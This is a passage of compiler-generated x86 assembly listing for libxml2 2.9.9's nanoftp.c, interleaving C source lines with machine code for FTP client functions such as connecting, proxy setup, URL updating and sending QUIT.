mov dh, BYTE PTR [eax+1]
$LN30@xmlNanoFTP:
; 680 : if (*ptr == '\r') ptr++;
; 681 : break;
lea ecx, DWORD PTR [eax+1]
cmp dl, 10 ; 0000000aH
cmovne ecx, eax
cmp dh, 13 ; 0000000dH
lea eax, DWORD PTR [ecx+1]
cmovne eax, ecx
jmp SHORT $LN20@xmlNanoFTP
$LN88@xmlNanoFTP:
; 616 : __xmlIOErr(XML_FROM_FTP, 0, "recv failed");
push OFFSET ??_C@_0M@KMFGCEDE@recv?5failed@
push 0
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
; 617 : closesocket(ctxt->controlFd); ctxt->controlFd = INVALID_SOCKET;
push DWORD PTR [ebx+44]
call DWORD PTR __imp__closesocket@4
; 618 : ctxt->controlFd = INVALID_SOCKET;
mov DWORD PTR [ebx+44], -1
$LN26@xmlNanoFTP:
; 745 : return(-1);
; 746 :
; 747 : }
; 748 :
; 749 : return(xmlNanoFTPReadResponse(ctx));
pop edi
pop esi
or eax, -1
pop ebx
; 750 : }
mov esp, ebp
pop ebp
ret 0
$LN15@xmlNanoFTP:
; 741 : case 0:
; 742 : return(0);
xor eax, eax
pop ebx
; 750 : }
mov esp, ebp
pop ebp
ret 0
$LN16@xmlNanoFTP:
; 743 : case -1:
; 744 : __xmlIOErr(XML_FROM_FTP, 0, "select");
push OFFSET ??_C@_06LGNCCACI@select@
push 0
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
$LN11@xmlNanoFTP:
; 750 : }
or eax, -1
pop ebx
mov esp, ebp
pop ebp
ret 0
_xmlNanoFTPCheckResponse ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPGetResponse
_TEXT SEGMENT
_ctx$ = 8 ; size = 4
_xmlNanoFTPGetResponse PROC ; COMDAT
; 713 : xmlNanoFTPGetResponse(void *ctx) {
push ebp
mov ebp, esp
mov ecx, OFFSET __D3ED00D9_nanoftp@c
call @__CheckForDebuggerJustMyCode@4
; 717 :
; 718 : return(res);
; 719 : }
pop ebp
; 714 : int res;
; 715 :
; 716 : res = xmlNanoFTPReadResponse(ctx);
jmp _xmlNanoFTPReadResponse
_xmlNanoFTPGetResponse ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPUpdateURL
_TEXT SEGMENT
_ctx$ = 8 ; size = 4
_URL$ = 12 ; size = 4
_xmlNanoFTPUpdateURL PROC ; COMDAT
; 362 : xmlNanoFTPUpdateURL(void *ctx, const char *URL) {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __D3ED00D9_nanoftp@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _URL$[ebp]
test eax, eax
je $LN16@xmlNanoFTP
; 363 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 364 : xmlURIPtr uri;
; 365 :
; 366 : if (URL == NULL)
; 367 : return(-1);
; 368 : if (ctxt == NULL)
mov esi, DWORD PTR _ctx$[ebp]
test esi, esi
je $LN16@xmlNanoFTP
; 369 : return(-1);
; 370 : if (ctxt->protocol == NULL)
cmp DWORD PTR [esi], 0
je $LN16@xmlNanoFTP
; 371 : return(-1);
; 372 : if (ctxt->hostname == NULL)
cmp DWORD PTR [esi+4], 0
je $LN16@xmlNanoFTP
; 373 : return(-1);
; 374 :
; 375 : uri = xmlParseURIRaw(URL, 1);
push 1
push eax
call _xmlParseURIRaw
mov edi, eax
add esp, 8
; 376 : if (uri == NULL)
test edi, edi
je $LN16@xmlNanoFTP
; 377 : return(-1);
; 378 :
; 379 : if ((uri->scheme == NULL) || (uri->server == NULL)) {
mov edx, DWORD PTR [edi]
test edx, edx
je $LN8@xmlNanoFTP
mov ecx, DWORD PTR [edi+12]
test ecx, ecx
je $LN8@xmlNanoFTP
; 381 : return(-1);
; 382 : }
; 383 : if ((strcmp(ctxt->protocol, uri->scheme)) ||
; 384 : (strcmp(ctxt->hostname, uri->server)) ||
mov eax, DWORD PTR [esi]
push ebx
$LL17@xmlNanoFTP:
mov bl, BYTE PTR [eax]
cmp bl, BYTE PTR [edx]
jne SHORT $LN18@xmlNanoFTP
test bl, bl
je SHORT $LN19@xmlNanoFTP
mov bl, BYTE PTR [eax+1]
cmp bl, BYTE PTR [edx+1]
jne SHORT $LN18@xmlNanoFTP
add eax, 2
add edx, 2
test bl, bl
jne SHORT $LL17@xmlNanoFTP
$LN19@xmlNanoFTP:
xor eax, eax
jmp SHORT $LN20@xmlNanoFTP
$LN18@xmlNanoFTP:
sbb eax, eax
or eax, 1
$LN20@xmlNanoFTP:
pop ebx
test eax, eax
jne $LN8@xmlNanoFTP
mov eax, DWORD PTR [esi+4]
$LL21@xmlNanoFTP:
mov dl, BYTE PTR [eax]
cmp dl, BYTE PTR [ecx]
jne SHORT $LN22@xmlNanoFTP
test dl, dl
je SHORT $LN23@xmlNanoFTP
mov dl, BYTE PTR [eax+1]
cmp dl, BYTE PTR [ecx+1]
jne SHORT $LN22@xmlNanoFTP
add eax, 2
add ecx, 2
test dl, dl
jne SHORT $LL21@xmlNanoFTP
$LN23@xmlNanoFTP:
xor eax, eax
jmp SHORT $LN24@xmlNanoFTP
$LN22@xmlNanoFTP:
sbb eax, eax
or eax, 1
$LN24@xmlNanoFTP:
test eax, eax
jne SHORT $LN8@xmlNanoFTP
mov eax, DWORD PTR [edi+20]
test eax, eax
je SHORT $LN11@xmlNanoFTP
cmp DWORD PTR [esi+8], eax
jne SHORT $LN8@xmlNanoFTP
; 385 : ((uri->port != 0) && (ctxt->port != uri->port))) {
; 386 : xmlFreeURI(uri);
; 387 : return(-1);
; 388 : }
; 389 :
; 390 : if (uri->port != 0)
; 391 : ctxt->port = uri->port;
mov DWORD PTR [esi+8], eax
$LN11@xmlNanoFTP:
; 392 :
; 393 : if (ctxt->path != NULL) {
mov eax, DWORD PTR [esi+12]
test eax, eax
je SHORT $LN12@xmlNanoFTP
; 394 : xmlFree(ctxt->path);
push eax
call DWORD PTR _xmlFree
add esp, 4
; 395 : ctxt->path = NULL;
mov DWORD PTR [esi+12], 0
$LN12@xmlNanoFTP:
; 396 : }
; 397 :
; 398 : if (uri->path == NULL)
mov eax, DWORD PTR [edi+24]
test eax, eax
jne SHORT $LN13@xmlNanoFTP
; 399 : ctxt->path = xmlMemStrdup("/");
push OFFSET ??_C@_01KMDKNFGN@?1@
jmp SHORT $LN25@xmlNanoFTP
$LN13@xmlNanoFTP:
; 400 : else
; 401 : ctxt->path = xmlMemStrdup(uri->path);
push eax
$LN25@xmlNanoFTP:
; 402 :
; 403 : xmlFreeURI(uri);
call DWORD PTR _xmlMemStrdup
add esp, 4
mov DWORD PTR [esi+12], eax
push edi
call _xmlFreeURI
add esp, 4
; 404 :
; 405 : return(0);
xor eax, eax
pop edi
; 406 : }
pop esi
pop ebp
ret 0
$LN8@xmlNanoFTP:
; 380 : xmlFreeURI(uri);
push edi
call _xmlFreeURI
add esp, 4
$LN16@xmlNanoFTP:
; 406 : }
pop edi
or eax, -1
pop esi
pop ebp
ret 0
_xmlNanoFTPUpdateURL ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPProxy
_TEXT SEGMENT
_host$ = 8 ; size = 4
_port$ = 12 ; size = 4
_user$ = 16 ; size = 4
_passwd$ = 20 ; size = 4
_type$ = 24 ; size = 4
_xmlNanoFTPProxy PROC ; COMDAT
; 260 : const char *passwd, int type) {
push ebp
mov ebp, esp
mov ecx, OFFSET __D3ED00D9_nanoftp@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _proxy
test eax, eax
je SHORT $LN2@xmlNanoFTP
; 261 : if (proxy != NULL) {
; 262 : xmlFree(proxy);
push eax
call DWORD PTR _xmlFree
add esp, 4
; 263 : proxy = NULL;
mov DWORD PTR _proxy, 0
$LN2@xmlNanoFTP:
; 264 : }
; 265 : if (proxyUser != NULL) {
mov eax, DWORD PTR _proxyUser
test eax, eax
je SHORT $LN3@xmlNanoFTP
; 266 : xmlFree(proxyUser);
push eax
call DWORD PTR _xmlFree
add esp, 4
; 267 : proxyUser = NULL;
mov DWORD PTR _proxyUser, 0
$LN3@xmlNanoFTP:
; 268 : }
; 269 : if (proxyPasswd != NULL) {
mov eax, DWORD PTR _proxyPasswd
test eax, eax
je SHORT $LN4@xmlNanoFTP
; 270 : xmlFree(proxyPasswd);
push eax
call DWORD PTR _xmlFree
add esp, 4
; 271 : proxyPasswd = NULL;
mov DWORD PTR _proxyPasswd, 0
$LN4@xmlNanoFTP:
; 272 : }
; 273 : if (host)
mov eax, DWORD PTR _host$[ebp]
test eax, eax
je SHORT $LN5@xmlNanoFTP
; 274 : proxy = xmlMemStrdup(host);
push eax
call DWORD PTR _xmlMemStrdup
add esp, 4
mov DWORD PTR _proxy, eax
$LN5@xmlNanoFTP:
; 275 : if (user)
mov eax, DWORD PTR _user$[ebp]
test eax, eax
je SHORT $LN6@xmlNanoFTP
; 276 : proxyUser = xmlMemStrdup(user);
push eax
call DWORD PTR _xmlMemStrdup
add esp, 4
mov DWORD PTR _proxyUser, eax
$LN6@xmlNanoFTP:
; 277 : if (passwd)
mov eax, DWORD PTR _passwd$[ebp]
test eax, eax
je SHORT $LN9@xmlNanoFTP
; 278 : proxyPasswd = xmlMemStrdup(passwd);
push eax
call DWORD PTR _xmlMemStrdup
add esp, 4
mov DWORD PTR _proxyPasswd, eax
$LN9@xmlNanoFTP:
; 279 : proxyPort = port;
; 280 : proxyType = type;
; 281 : }
mov eax, DWORD PTR _port$[ebp]
mov DWORD PTR _proxyPort, eax
mov eax, DWORD PTR _type$[ebp]
mov DWORD PTR _proxyType, eax
pop ebp
ret 0
_xmlNanoFTPProxy ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPScanProxy
_TEXT SEGMENT
_URL$ = 8 ; size = 4
_xmlNanoFTPScanProxy PROC ; COMDAT
; 419 : xmlNanoFTPScanProxy(const char *URL) {
push ebp
mov ebp, esp
mov ecx, OFFSET __D3ED00D9_nanoftp@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _proxy
test eax, eax
je SHORT $LN2@xmlNanoFTP
; 420 : xmlURIPtr uri;
; 421 :
; 422 : if (proxy != NULL) {
; 423 : xmlFree(proxy);
push eax
call DWORD PTR _xmlFree
add esp, 4
; 424 : proxy = NULL;
mov DWORD PTR _proxy, 0
$LN2@xmlNanoFTP:
; 425 : }
; 426 : proxyPort = 0;
; 427 :
; 428 : #ifdef DEBUG_FTP
; 429 : if (URL == NULL)
; 430 : xmlGenericError(xmlGenericErrorContext,
; 431 : "Removing FTP proxy info\n");
; 432 : else
; 433 : xmlGenericError(xmlGenericErrorContext,
; 434 : "Using FTP proxy %s\n", URL);
; 435 : #endif
; 436 : if (URL == NULL) return;
mov eax, DWORD PTR _URL$[ebp]
mov DWORD PTR _proxyPort, 0
test eax, eax
je $LN6@xmlNanoFTP
; 437 :
; 438 : uri = xmlParseURIRaw(URL, 1);
push esi
push 1
push eax
call _xmlParseURIRaw
mov esi, eax
add esp, 8
; 439 : if ((uri == NULL) || (uri->scheme == NULL) ||
; 440 : (strcmp(uri->scheme, "ftp")) || (uri->server == NULL)) {
test esi, esi
je SHORT $LN5@xmlNanoFTP
mov ecx, DWORD PTR [esi]
test ecx, ecx
je SHORT $LN5@xmlNanoFTP
mov edx, OFFSET ??_C@_03LMDBDBEG@ftp@
npad 4
$LL10@xmlNanoFTP:
mov al, BYTE PTR [ecx]
cmp al, BYTE PTR [edx]
jne SHORT $LN11@xmlNanoFTP
test al, al
je SHORT $LN12@xmlNanoFTP
mov al, BYTE PTR [ecx+1]
cmp al, BYTE PTR [edx+1]
jne SHORT $LN11@xmlNanoFTP
add ecx, 2
add edx, 2
test al, al
jne SHORT $LL10@xmlNanoFTP
$LN12@xmlNanoFTP:
xor eax, eax
jmp SHORT $LN13@xmlNanoFTP
$LN11@xmlNanoFTP:
sbb eax, eax
or eax, 1
$LN13@xmlNanoFTP:
test eax, eax
jne SHORT $LN5@xmlNanoFTP
mov eax, DWORD PTR [esi+12]
test eax, eax
je SHORT $LN5@xmlNanoFTP
; 444 : return;
; 445 : }
; 446 :
; 447 : proxy = xmlMemStrdup(uri->server);
push eax
call DWORD PTR _xmlMemStrdup
mov DWORD PTR _proxy, eax
add esp, 4
; 448 : if (uri->port != 0)
mov eax, DWORD PTR [esi+20]
test eax, eax
je SHORT $LN9@xmlNanoFTP
; 449 : proxyPort = uri->port;
push esi
mov DWORD PTR _proxyPort, eax
call _xmlFreeURI
add esp, 4
pop esi
; 450 :
; 451 : xmlFreeURI(uri);
; 452 : }
pop ebp
ret 0
$LN5@xmlNanoFTP:
; 441 : __xmlIOErr(XML_FROM_FTP, XML_FTP_URL_SYNTAX, "Syntax Error\n");
push OFFSET ??_C@_0O@FGOLBKPK@Syntax?5Error?6@
push 2003 ; 000007d3H
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
; 442 : if (uri != NULL)
test esi, esi
je SHORT $LN14@xmlNanoFTP
$LN9@xmlNanoFTP:
; 443 : xmlFreeURI(uri);
push esi
call _xmlFreeURI
add esp, 4
$LN14@xmlNanoFTP:
pop esi
$LN6@xmlNanoFTP:
; 450 :
; 451 : xmlFreeURI(uri);
; 452 : }
pop ebp
ret 0
_xmlNanoFTPScanProxy ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPQuit
_TEXT SEGMENT
_buf$ = -200 ; size = 200
_ctx$ = 8 ; size = 4
_xmlNanoFTPQuit PROC ; COMDAT
; 819 : xmlNanoFTPQuit(void *ctx) {
push ebp
mov ebp, esp
sub esp, 200 ; 000000c8H
mov ecx, OFFSET __D3ED00D9_nanoftp@c
push esi
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctx$[ebp]
test esi, esi
je SHORT $LN3@xmlNanoFTP
; 820 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 821 : char buf[200];
; 822 : int len, res;
; 823 :
; 824 : if ((ctxt == NULL) || (ctxt->controlFd == INVALID_SOCKET)) return(-1);
cmp DWORD PTR [esi+44], -1
je SHORT $LN3@xmlNanoFTP
; 825 :
; 826 : snprintf(buf, sizeof(buf), "QUIT\r\n");
push OFFSET ??_C@_06FIMJICNC@QUIT?$AN?6@
lea eax, DWORD PTR _buf$[ebp]
push 200 ; 000000c8H
push eax
call _snprintf
; 827 : len = strlen(buf);
lea ecx, DWORD PTR _buf$[ebp]
add esp, 12 ; 0000000cH
lea edx, DWORD PTR [ecx+1]
$LL6@xmlNanoFTP:
mov al, BYTE PTR [ecx]
inc ecx
test al, al
jne SHORT $LL6@xmlNanoFTP
; 828 : #ifdef DEBUG_FTP
; 829 : xmlGenericError(xmlGenericErrorContext, "%s", buf); /* Just to be consistent, even though we know it can't have a % in it */
; 830 : #endif
; 831 : res = send(ctxt->controlFd, SEND_ARG2_CAST buf, len, 0);
push 0
sub ecx, edx
lea eax, DWORD PTR _buf$[ebp]
push ecx
push eax
push DWORD PTR [esi+44]
call DWORD PTR __imp__send@16
mov esi, eax
; 832 : if (res < 0) {
test esi, esi
jns SHORT $LN4@xmlNanoFTP
; 833 : __xmlIOErr(XML_FROM_FTP, 0, "send failed");
push OFFSET ??_C@_0M@EADLIJBM@send?5failed@
push 0
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
; 834 : return(res);
mov eax, esi
pop esi
; 837 : }
mov esp, ebp
pop ebp
ret 0
$LN4@xmlNanoFTP:
; 835 : }
; 836 : return(0);
xor eax, eax
pop esi
; 837 : }
mov esp, ebp
pop ebp
ret 0
$LN3@xmlNanoFTP:
; 820 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 821 : char buf[200];
; 822 : int len, res;
; 823 :
; 824 : if ((ctxt == NULL) || (ctxt->controlFd == INVALID_SOCKET)) return(-1);
or eax, -1
pop esi
; 837 : }
mov esp, ebp
pop ebp
ret 0
_xmlNanoFTPQuit ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPClose
_TEXT SEGMENT
_ctx$ = 8 ; size = 4
_xmlNanoFTPClose PROC ; COMDAT
; 2031 : xmlNanoFTPClose(void *ctx) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __D3ED00D9_nanoftp@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctx$[ebp]
test esi, esi
jne SHORT $LN2@xmlNanoFTP
; 2032 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 2033 :
; 2034 : if (ctxt == NULL)
; 2035 : return(-1);
or eax, -1
pop esi
; 2048 : }
pop ebp
ret 0
$LN2@xmlNanoFTP:
; 2036 :
; 2037 : if (ctxt->dataFd != INVALID_SOCKET) {
mov eax, DWORD PTR [esi+48]
cmp eax, -1
je SHORT $LN3@xmlNanoFTP
; 2038 : closesocket(ctxt->dataFd);
push eax
call DWORD PTR __imp__closesocket@4
; 2039 : ctxt->dataFd = INVALID_SOCKET;
mov DWORD PTR [esi+48], -1
$LN3@xmlNanoFTP:
; 2040 : }
; 2041 : if (ctxt->controlFd != INVALID_SOCKET) {
cmp DWORD PTR [esi+44], -1
je SHORT $LN4@xmlNanoFTP
; 2042 : xmlNanoFTPQuit(ctxt);
push esi
call _xmlNanoFTPQuit
add esp, 4
; 2043 : closesocket(ctxt->controlFd);
push DWORD PTR [esi+44]
call DWORD PTR __imp__closesocket@4
; 2044 : ctxt->controlFd = INVALID_SOCKET;
mov DWORD PTR [esi+44], -1
$LN4@xmlNanoFTP:
; 2045 : }
; 2046 : xmlNanoFTPFreeCtxt(ctxt);
push esi
call _xmlNanoFTPFreeCtxt
add esp, 4
; 2047 : return(0);
xor eax, eax
pop esi
; 2048 : }
pop ebp
ret 0
_xmlNanoFTPClose ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPConnect
_TEXT SEGMENT
_buf$1 = -400 ; size = 400
_buf$2 = -200 ; size = 200
_buf$3 = -200 ; size = 200
_ctx$ = 8 ; size = 4
_xmlNanoFTPConnect PROC ; COMDAT
; 849 : xmlNanoFTPConnect(void *ctx) {
push ebp
mov ebp, esp
sub esp, 400 ; 00000190H
mov ecx, OFFSET __D3ED00D9_nanoftp@c
push esi
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctx$[ebp]
test esi, esi
je $LN87@xmlNanoFTP
; 850 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 851 : struct hostent *hp;
; 852 : int port;
; 853 : int res;
; 854 : int addrlen = sizeof (struct sockaddr_in);
; 855 :
; 856 : if (ctxt == NULL)
; 857 : return(-1);
; 858 : if (ctxt->hostname == NULL)
cmp DWORD PTR [esi+4], 0
je $LN87@xmlNanoFTP
; 860 :
; 861 : /*
; 862 : * do the blocking DNS query.
; 863 : */
; 864 : if (proxy) {
mov eax, DWORD PTR _proxy
push edi
; 865 : port = proxyPort;
mov edi, DWORD PTR _proxyPort
test eax, eax
jne SHORT $LN13@xmlNanoFTP
; 866 : } else {
; 867 : port = ctxt->port;
mov edi, DWORD PTR [esi+8]
$LN13@xmlNanoFTP:
; 868 : }
; 869 : if (port == 0)
test edi, edi
mov ecx, 21 ; 00000015H
push ebx
cmove edi, ecx
; 870 : port = 21;
; 871 :
; 872 : memset (&ctxt->ftpAddr, 0, sizeof(ctxt->ftpAddr));
lea ebx, DWORD PTR [esi+24]
xorps xmm0, xmm0
movups XMMWORD PTR [ebx], xmm0
; 873 :
; 874 : #ifdef SUPPORT_IP6
; 875 : if (have_ipv6 ()) {
; 876 : struct addrinfo hints, *tmp, *result;
; 877 :
; 878 : result = NULL;
; 879 : memset (&hints, 0, sizeof(hints));
; 880 : hints.ai_socktype = SOCK_STREAM;
; 881 :
; 882 : if (proxy) {
; 883 : if (getaddrinfo (proxy, NULL, &hints, &result) != 0) {
; 884 : __xmlIOErr(XML_FROM_FTP, 0, "getaddrinfo failed");
; 885 : return (-1);
; 886 : }
; 887 : }
; 888 : else
; 889 : if (getaddrinfo (ctxt->hostname, NULL, &hints, &result) != 0) {
; 890 : __xmlIOErr(XML_FROM_FTP, 0, "getaddrinfo failed");
; 891 : return (-1);
; 892 : }
; 893 :
; 894 : for (tmp = result; tmp; tmp = tmp->ai_next)
; 895 : if (tmp->ai_family == AF_INET || tmp->ai_family == AF_INET6)
; 896 : break;
; 897 :
; 898 : if (!tmp) {
; 899 : if (result)
; 900 : freeaddrinfo (result);
; 901 : __xmlIOErr(XML_FROM_FTP, 0, "getaddrinfo failed");
; 902 : return (-1);
; 903 : }
; 904 : if ((size_t)tmp->ai_addrlen > sizeof(ctxt->ftpAddr)) {
; 905 : if (result)
; 906 : freeaddrinfo (result);
; 907 : __xmlIOErr(XML_FROM_FTP, 0, "gethostbyname address mismatch");
; 908 : return (-1);
; 909 : }
; 910 : if (tmp->ai_family == AF_INET6) {
; 911 : memcpy (&ctxt->ftpAddr, tmp->ai_addr, tmp->ai_addrlen);
; 912 : ((struct sockaddr_in6 *) &ctxt->ftpAddr)->sin6_port = htons (port);
; 913 : ctxt->controlFd = socket (AF_INET6, SOCK_STREAM, 0);
; 914 : }
; 915 : else {
; 916 : memcpy (&ctxt->ftpAddr, tmp->ai_addr, tmp->ai_addrlen);
; 917 : ((struct sockaddr_in *) &ctxt->ftpAddr)->sin_port = htons (port);
; 918 : ctxt->controlFd = socket (AF_INET, SOCK_STREAM, 0);
; 919 : }
; 920 : addrlen = tmp->ai_addrlen;
; 921 : freeaddrinfo (result);
; 922 : }
; 923 : else
; 924 : #endif
; 925 : {
; 926 : if (proxy)
test eax, eax
je SHORT $LN15@xmlNanoFTP
; 927 : hp = gethostbyname (GETHOSTBYNAME_ARG_CAST proxy);
push eax
jmp SHORT $LN97@xmlNanoFTP
$LN15@xmlNanoFTP:
; 928 : else
; 929 : hp = gethostbyname (GETHOSTBYNAME_ARG_CAST ctxt->hostname);
push DWORD PTR [esi+4]
$LN97@xmlNanoFTP:
; 930 : if (hp == NULL) {
call DWORD PTR __imp__gethostbyname@4
mov ecx, eax
test ecx, ecx
jne SHORT $LN17@xmlNanoFTP
; 931 : __xmlIOErr(XML_FROM_FTP, 0, "gethostbyname failed");
push OFFSET ??_C@_0BF@FEIPFPME@gethostbyname?5failed@
push eax
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
; 1220 : return(-1);
or eax, -1
pop ebx
pop edi
pop esi
; 1221 : }
; 1222 :
; 1223 : return(0);
; 1224 : }
mov esp, ebp
pop ebp
ret 0
$LN17@xmlNanoFTP:
; 932 : return (-1);
; 933 : }
; 934 : if ((unsigned int) hp->h_length >
cmp WORD PTR [ecx+10], 4
jbe SHORT $LN18@xmlNanoFTP
; 935 : sizeof(((struct sockaddr_in *)&ctxt->ftpAddr)->sin_addr)) {
; 936 : __xmlIOErr(XML_FROM_FTP, 0, "gethostbyname address mismatch");
push OFFSET ??_C@_0BP@HGBHAFPD@gethostbyname?5address?5mismatch@
push 0
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
; 1220 : return(-1);
or eax, -1
pop ebx
pop edi
pop esi
; 1221 : }
; 1222 :
; 1223 : return(0);
; 1224 : }
mov esp, ebp
pop ebp
ret 0
$LN18@xmlNanoFTP:
; 937 : return (-1);
; 938 : }
; 939 :
; 940 : /*
; 941 : * Prepare the socket
; 942 : */
; 943 : ((struct sockaddr_in *)&ctxt->ftpAddr)->sin_family = AF_INET;
mov eax, 2
mov WORD PTR [ebx], ax
; 944 : memcpy (&((struct sockaddr_in *)&ctxt->ftpAddr)->sin_addr,
movsx eax, WORD PTR [ecx+10]
push eax
mov eax, DWORD PTR [ecx+12]
push DWORD PTR [eax]
lea eax, DWORD PTR [esi+28]
push eax
call _memcpy
add esp, 12 ; 0000000cH
; 945 : hp->h_addr_list[0], hp->h_length);
; 946 : ((struct sockaddr_in *)&ctxt->ftpAddr)->sin_port =
push edi
call DWORD PTR __imp__htons@4
; 947 : (unsigned short)htons ((unsigned short)port);
; 948 : ctxt->controlFd = socket (AF_INET, SOCK_STREAM, 0);
push 0
push 1
push 2
mov WORD PTR [esi+26], ax
call DWORD PTR __imp__socket@12
mov DWORD PTR [esi+44], eax
; 949 : addrlen = sizeof (struct sockaddr_in);
; 950 : }
; 951 :
; 952 : if (ctxt->controlFd == INVALID_SOCKET) {
cmp eax, -1
jne SHORT $LN19@xmlNanoFTP
; 953 : __xmlIOErr(XML_FROM_FTP, 0, "socket failed");
push OFFSET ??_C@_0O@FPJGNADN@socket?5failed@
push 0
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
; 1220 : return(-1);
or eax, -1
pop ebx
pop edi
pop esi
; 1221 : }
; 1222 :
; 1223 : return(0);
; 1224 : }
mov esp, ebp
pop ebp
ret 0
$LN19@xmlNanoFTP:
; 954 : return(-1);
; 955 : }
; 956 :
; 957 : /*
; 958 : * Do the connect.
; 959 : */
; 960 : if (connect(ctxt->controlFd, (struct sockaddr *) &ctxt->ftpAddr,
; 961 : addrlen) < 0) {
push 16 ; 00000010H
push ebx
push eax
call DWORD PTR __imp__connect@12
test eax, eax
jns SHORT $LN20@xmlNanoFTP
; 962 : __xmlIOErr(XML_FROM_FTP, 0, "Failed to create a connection");
push OFFSET ??_C@_0BO@NKBHOJOC@Failed?5to?5create?5a?5connection@
push 0
; 963 : closesocket(ctxt->controlFd); ctxt->controlFd = INVALID_SOCKET;
; 964 : ctxt->controlFd = INVALID_SOCKET;
; 965 : return(-1);
jmp $LN98@xmlNanoFTP
$LN20@xmlNanoFTP:
; 716 : res = xmlNanoFTPReadResponse(ctx);
push esi
call _xmlNanoFTPReadResponse
add esp, 4
; 966 : }
; 967 :
; 968 : /*
; 969 : * Wait for the HELLO from the server.
; 970 : */
; 971 : res = xmlNanoFTPGetResponse(ctxt);
; 972 : if (res != 2) {
cmp eax, 2
jne $LN58@xmlNanoFTP
; 973 : closesocket(ctxt->controlFd); ctxt->controlFd = INVALID_SOCKET;
; 974 : ctxt->controlFd = INVALID_SOCKET;
; 975 : return(-1);
; 976 : }
; 977 :
; 978 : /*
; 979 : * State diagram for the login operation on the FTP server
; 980 : *
; 981 : * Reference: RFC 959
; 982 : *
; 983 : * 1
; 984 : * +---+ USER +---+------------->+---+
; 985 : * | B |---------->| W | 2 ---->| E |
; 986 : * +---+ +---+------ | -->+---+
; 987 : * | | | | |
; 988 : * 3 | | 4,5 | | |
; 989 : * -------------- ----- | | |
; 990 : * | | | | |
; 991 : * | | | | |
; 992 : * | --------- |
; 993 : * | 1| | | |
; 994 : * V | | | |
; 995 : * +---+ PASS +---+ 2 | ------>+---+
; 996 : * | |---------->| W |------------->| S |
; 997 : * +---+ +---+ ---------->+---+
; 998 : * | | | | |
; 999 : * 3 | |4,5| | |
; 1000 : * -------------- -------- |
; 1001 : * | | | | |
; 1002 : * | | | | |
; 1003 : * | -----------
; 1004 : * | 1,3| | | |
; 1005 : * V | 2| | |
; 1006 : * +---+ ACCT +---+-- | ----->+---+
; 1007 : * | |---------->| W | 4,5 -------->| F |
; 1008 : * +---+ +---+------------->+---+
; 1009 : *
; 1010 : * Of course in case of using a proxy this get really nasty and is not
; 1011 : * standardized at all :-(
; 1012 : */
; 1013 : if (proxy) {
cmp DWORD PTR _proxy, 0
mov ebx, DWORD PTR __imp__send@16
je $LN4@xmlNanoFTP
; 1014 : int len;
; 1015 : char buf[400];
; 1016 :
; 1017 : if (proxyUser != NULL) {
mov eax, DWORD PTR _proxyUser
test eax, eax
je $LN31@xmlNanoFTP
; 1018 : /*
; 1019 : * We need proxy auth
; 1020 : */
; 1021 : snprintf(buf, sizeof(buf), "USER %s\r\n", proxyUser);
push eax
push OFFSET ??_C@_09FIJAECMI@USER?5?$CFs?$AN?6@
lea eax, DWORD PTR _buf$1[ebp]
push 400 ; 00000190H
push eax
call _snprintf
; 1022 : buf[sizeof(buf) - 1] = 0;
; 1023 : len = strlen(buf);
lea ecx, DWORD PTR _buf$1[ebp]
mov BYTE PTR _buf$1[ebp+399], 0
add esp, 16 ; 00000010H
lea edx, DWORD PTR [ecx+1]
npad 3
$LL88@xmlNanoFTP:
mov al, BYTE PTR [ecx]
inc ecx
test al, al
jne SHORT $LL88@xmlNanoFTP
; 1024 : #ifdef DEBUG_FTP
; 1025 : xmlGenericError(xmlGenericErrorContext, "%s", buf);
; 1026 : #endif
; 1027 : res = send(ctxt->controlFd, SEND_ARG2_CAST buf, len, 0);
push 0
sub ecx, edx
lea eax, DWORD PTR _buf$1[ebp]
push ecx
push eax
push DWORD PTR [esi+44]
call ebx
mov edi, eax
; 1028 : if (res < 0) {
test edi, edi
js $LN100@xmlNanoFTP
; 716 : res = xmlNanoFTPReadResponse(ctx);
push esi
